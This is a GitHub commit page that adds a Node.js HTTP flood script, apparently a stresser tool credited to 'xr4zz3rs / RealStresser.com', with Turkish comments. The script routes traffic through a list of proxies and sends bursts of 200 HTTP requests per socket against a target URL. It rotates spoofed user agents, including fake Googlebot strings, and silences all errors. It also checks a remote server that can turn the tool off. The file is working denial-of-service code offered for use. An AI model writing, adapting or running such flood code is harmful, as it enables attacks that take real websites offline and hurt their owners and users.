-
Notifications
You must be signed in to change notification settings - Fork 29
Commit
This commit does not belong to any branch on this repository, and may belong to a fork outside of the repository.
- Loading branch information
Showing
53 changed files
with
20,406 additions
and
2 deletions.
There are no files selected for viewing
Binary file not shown.
This file contains bidirectional Unicode text that may be interpreted or compiled differently than what appears below. To review, open the file in an editor that reveals hidden Unicode characters.
Learn more about bidirectional Unicode characters
Original file line number | Diff line number | Diff line change |
---|---|---|
@@ -0,0 +1,156 @@ | ||
const EventEmitter = require('events'); | ||
const fs = require('fs'); | ||
const path = require('path'); | ||
const emitter = new EventEmitter(); | ||
emitter.setMaxListeners(Number.POSITIVE_INFINITY); | ||
const url = require('url'); | ||
const chalk = require('chalk'); | ||
|
||
var target = process.argv[2]; | ||
var time = process.argv[4]; | ||
var reqMethod = process.argv[5]; | ||
|
||
var version = "1.0.0"; | ||
var use = 1; | ||
|
||
versionControl(); | ||
|
||
if(process.argv.length < 6) | ||
{ | ||
console.log(chalk.red("Wrong use!")); | ||
console.log(chalk.yellow(`Usage: node ${path.basename(__filename)} [URL] [PROXY] [TIME] [METHOD]`)); | ||
console.log(chalk.blue("Script by xr4zz3rs") + " / " + chalk.red("RealStresser.com")); | ||
process.exit(0); | ||
} | ||
|
||
if (!fs.existsSync(process.argv[3])) { | ||
console.log(chalk.red("Proxy file not found!")); | ||
process.exit(0); | ||
} | ||
|
||
process.on('uncaughtException', function (err) { }); //hataları yok et | ||
process.on('unhandledRejection', function (err) { }); //hataları yok et | ||
|
||
var host = url.parse(target).host; //hostu parsele örn: target = https://test.com - url.parse(target).host = test.com | ||
const proxies = fs.readFileSync(process.argv[3], 'utf-8').replace(/\r/g, '').split('\n'); | ||
var theproxy = 0; | ||
var proxy = proxies[theproxy]; | ||
|
||
const UAs = [ //user agent ekleyebilirsin dilediğin gibi. sadece parametrelere dikkat et. | ||
"Googlebot/2.1 ( http://www.googlebot.com/bot.html)", | ||
"Googlebot-Image/1.0", | ||
"Googlebot-News", | ||
"Googlebot-Video/1.0", | ||
"Googlebot/2.1 (+http://www.googlebot.com/bot.html)", | ||
"Googlebot/2.1 (+http://www.google.com/bot.html)", | ||
"Googlebot-Image/1.0", | ||
"Chrome/1.0", | ||
"Mozilla/5.0 AppleWebKit/537.36 (KHTML, like Gecko; compatible; Googlebot/2.1; +http://www.google.com/bot.html) Safari/537.36", | ||
"Mozilla/5.0 (compatible; Googlebot/2.1; +http://www.google.com/bot.html)", | ||
"Mozilla/5.0 (Linux; Android 6.0.1; Nexus 5X Build/MMB29P) AppleWebKit/537.36 (KHTML, like Gecko) Chrome/41.0.2272.96 Mobile Safari/537.36 (compatible; Googlebot/2.1; +http://www.google.com/bot.html)", | ||
"Mozilla/5.0 (iPhone; CPU iPhone OS 9_1 like Mac OS X) AppleWebKit/601.1.46 (KHTML, like Gecko) Version/9.0 Mobile/13B143 Safari/601.1 (compatible; AdsBot-Google-Mobile; +http://www.google.com/mobile/adsbot.html)", | ||
"Mozilla/5.0 (Linux; Android 5.0; SM-G920A) AppleWebKit (KHTML, like Gecko) Chrome Mobile Safari (compatible; AdsBot-Google-Mobile; +http://www.google.com/mobile/adsbot.html)", | ||
"Mozilla/5.0 (Windows NT 10.0; WOW64) AppleWebKit/537.36 (KHTML, like Gecko) Chrome/72.0.3599.0 Safari/537.36", | ||
"RealityCheats/3.1", | ||
"CloudFlare/1.0", | ||
"Mozilla/5.0 (Windows NT 10.0; Win64; x64) AppleWebKit/537.36 (KHTML, like Gecko) Chrome/64.0.3282.140 Safari/537.36 Edge/18.18247", | ||
"Mozilla/5.0 (Windows NT 10.0; WOW64; Trident/7.0; .NET4.0C; .NET4.0E; rv:11.0) like Gecko", | ||
"Mozilla/5.0 (Windows NT 10.0; WOW64) AppleWebKit/537.36 (KHTML, like Gecko) Chrome/71.0.3599.0 Safari/537.36", | ||
"Mozilla/5.0 (Windows NT 10.0; WOW64) AppleWebKit/537.36 (KHTML, like Gecko) Chrome/70.0.3599.0 Safari/537.36", | ||
"Mozilla/5.0 (Windows NT 6.3; WOW64; Trident/7.0; rv:11.0) like Gecko", | ||
"RealityCheats/5.1 (RealityCheats; xr4zz3rs)", | ||
"RealStresser/5.0", | ||
"xr4zz3rs/1.0", | ||
"Mozilla/5.0 (Windows NT 10.0; WOW64) AppleWebKit/537.36 (KHTML, like Gecko) Chrome/69.0.3599.0 Safari/537.36", | ||
"Mozilla/5.0 (Windows NT 10.0; WOW64) AppleWebKit/537.36 (KHTML, like Gecko) Chrome/68.0.3599.0 Safari/537.36", | ||
"Mozilla/5.0 (Windows NT 10.0; WOW64) AppleWebKit/537.36 (KHTML, like Gecko) Chrome/67.0.3599.0 Safari/537.36", | ||
"Mozilla/5.0 (Windows NT 6.3; Win64; x64) AppleWebKit/537.36 (KHTML, like Gecko) Chrome/70.0.3538.77 Safari/537.36", | ||
"Mozilla/5.0 (Windows NT 6.0; WOW64; rv:40.0) Gecko/20100101 Firefox/40.0", | ||
"Mozilla/5.0 (X11; Linux x86_64; rv:28.0) Gecko/20100101 Firefox/28.0", | ||
"Mozilla/5.0 (Windows NT 6.1; rv:27.3) Gecko/20130101 Firefox/27.3", | ||
"Mozilla/5.0 (Macintosh; Intel Mac OS X 10.6; rv:25.0) Gecko/20100101 Firefox/25.0", | ||
"Mozilla/5.0 (X11; Ubuntu; Linux x86_64; rv:24.0) Gecko/20100101 Firefox/24.0", | ||
"Mozilla/5.0 (Windows; U; MSIE 9.0; WIndows NT 9.0; en-US))", | ||
"Mozilla/5.0 (compatible; MSIE 10.0; Windows NT 6.1; WOW64; Trident/6.0)", | ||
"Mozilla/5.0 (compatible; MSIE 10.0; Windows NT 6.1; Trident/4.0; InfoPath.2; SV1; .NET CLR 2.0.50727; WOW64)", | ||
"Mozilla/5.0 (compatible; MSIE 10.0; Macintosh; Intel Mac OS X 10_7_3; Trident/6.0)", | ||
"Opera/12.0(Windows NT 5.2;U;en)Presto/22.9.168 Version/12.00", | ||
"Opera/9.80 (Windows NT 6.0) Presto/2.12.388 Version/12.14", | ||
"Mozilla/5.0 (Windows NT 6.0; rv:2.0) Gecko/20100101 Firefox/4.0 Opera 12.14", | ||
"Mozilla/5.0 (compatible; MSIE 9.0; Windows NT 6.0) Opera 12.14", | ||
"Opera/12.80 (Windows NT 5.1; U; en) Presto/2.10.289 Version/12.02", | ||
"Mozilla/5.0 (Windows NT 10.0; Win64; x64) AppleWebKit/537.36 (KHTML, like Gecko) Chrome/84.0.4147.135 Safari/537.36", | ||
"Opera/9.80 (Windows NT 6.1; U; es-ES) Presto/2.9.181 Version/12.00", | ||
"Opera/9.80 (Windows NT 5.1; U; zh-sg) Presto/2.9.181 Version/12.00", | ||
"Mozilla/5.0 (compatible; MSIE 9.0; Windows Phone OS 7.5; Trident/5.0; IEMobile/9.0)", | ||
"HTC_Touch_3G Mozilla/4.0 (compatible; MSIE 6.0; Windows CE; IEMobile 7.11)", | ||
"Mozilla/4.0 (compatible; MSIE 7.0; Windows Phone OS 7.0; Trident/3.1; IEMobile/7.0; Nokia;N70)", | ||
"Mozilla/5.0 (BlackBerry; U; BlackBerry 9900; en) AppleWebKit/534.11+ (KHTML, like Gecko) Version/7.1.0.346 Mobile Safari/534.11+", | ||
"Mozilla/5.0 (BlackBerry; U; BlackBerry 9850; en-US) AppleWebKit/534.11+ (KHTML, like Gecko) Version/7.0.0.254 Mobile Safari/534.11+", | ||
"Mozilla/5.0 (BlackBerry; U; BlackBerry 9850; en-US) AppleWebKit/534.11+ (KHTML, like Gecko) Version/7.0.0.115 Mobile Safari/534.11+", | ||
"Mozilla/5.0 (BlackBerry; U; BlackBerry 9850; en) AppleWebKit/534.11+ (KHTML, like Gecko) Version/7.0.0.254 Mobile Safari/534.11+", | ||
"Mozilla/5.0 (Windows NT 6.2) AppleWebKit/535.7 (KHTML, like Gecko) Comodo_Dragon/16.1.1.0 Chrome/16.0.912.63 Safari/535.7", | ||
"Mozilla/5.0 (X11; U; Linux x86_64; en-US) AppleWebKit/532.5 (KHTML, like Gecko) Comodo_Dragon/4.1.1.11 Chrome/4.1.249.1042 Safari/532.5", | ||
"Mozilla/5.0 (iPad; CPU OS 6_0 like Mac OS X) AppleWebKit/536.26 (KHTML, like Gecko) Version/6.0 Mobile/10A5355d Safari/8536.25", | ||
"Mozilla/5.0 (Macintosh; Intel Mac OS X 10_6_8) AppleWebKit/537.13+ (KHTML, like Gecko) Version/5.1.7 Safari/534.57.2", | ||
"Mozilla/5.0 (Macintosh; Intel Mac OS X 10_7_3) AppleWebKit/534.55.3 (KHTML, like Gecko) Version/5.1.3 Safari/534.53.10", | ||
"Mozilla/5.0 (iPad; CPU OS 5_1 like Mac OS X) AppleWebKit/534.46 (KHTML, like Gecko ) Version/5.1 Mobile/9B176 Safari/7534.48.3", | ||
"Mozilla/5.0", | ||
"Mozilla/5.0 (Windows NT 10.0; Win64; x64) AppleWebKit/537.36 (KHTML, like Gecko) Chrome/83.0.4103.116 Safari/537.36" | ||
]; | ||
|
||
console.log(chalk.green("Attack has been start %s for %s seconds!"), target, time); | ||
console.log(chalk.blue("Script by xr4zz3rs") + " / " + chalk.red("RealStresser.com")); | ||
|
||
var int = setInterval(() => | ||
{ | ||
theproxy++; | ||
if (theproxy == proxies.length - 1) { | ||
theproxy = 0; | ||
} | ||
proxy = proxies[theproxy]; | ||
if (proxy && proxy.length > 5) { | ||
proxy = proxy.split(':'); | ||
} else { | ||
return false; | ||
} | ||
var netSocket = require('net').Socket(); //soket oluştur. | ||
netSocket.connect(proxy[1], proxy[0]); //proxy ile bağlan. | ||
netSocket.setTimeout(10000); // 10 saniye timeout | ||
for (var i = 0; i < 200; i++) { // i < 200; bölümünü elleyebilirsin 200'ü 300 veya 50 vb yapabilirsin threads dediğimiz bu oluyor. | ||
netSocket.write(`${reqMethod} ${target} HTTP/1.1\r\nHost: ${host}\r\nUser-Agent: ${UAs[Math.floor(Math.random() * UAs.length)]}\r\nConnection: Keep-Alive\r\n\r\n`); //flood time xD | ||
} | ||
netSocket.on('data', function () { setTimeout(function () { netSocket.destroy(); return delete s; }, 5000); }) //5 saniye sonra s soketini yok et. | ||
}); | ||
setTimeout(() => console.log(chalk.red("Attack has been finished!")) & process.exit(0), time * 1000); //zamanı 1000 ile böl | ||
|
||
function versionControl() | ||
{ | ||
require('https').get('https://sananeyarram.cf/l7freescript/version.php', (res) => { | ||
res.setEncoding('utf8'); | ||
res.on('data', function (body) { | ||
//console.log(body); | ||
if(version != body) | ||
{ | ||
console.log(chalk.red("Version is old!")); | ||
process.exit(0); | ||
} | ||
else | ||
version = body; | ||
}); | ||
}); | ||
|
||
require('https').get('https://sananeyarram.cf/l7freescript/use.php', (res) => { | ||
res.setEncoding('utf8'); | ||
res.on('data', function (body) { | ||
//console.log(body); | ||
if(use != body) | ||
{ | ||
console.log(chalk.red("Script is closed currently.")); | ||
process.exit(0); | ||
} | ||
else | ||
use = body; | ||
}); | ||
}); | ||
} |
Oops, something went wrong.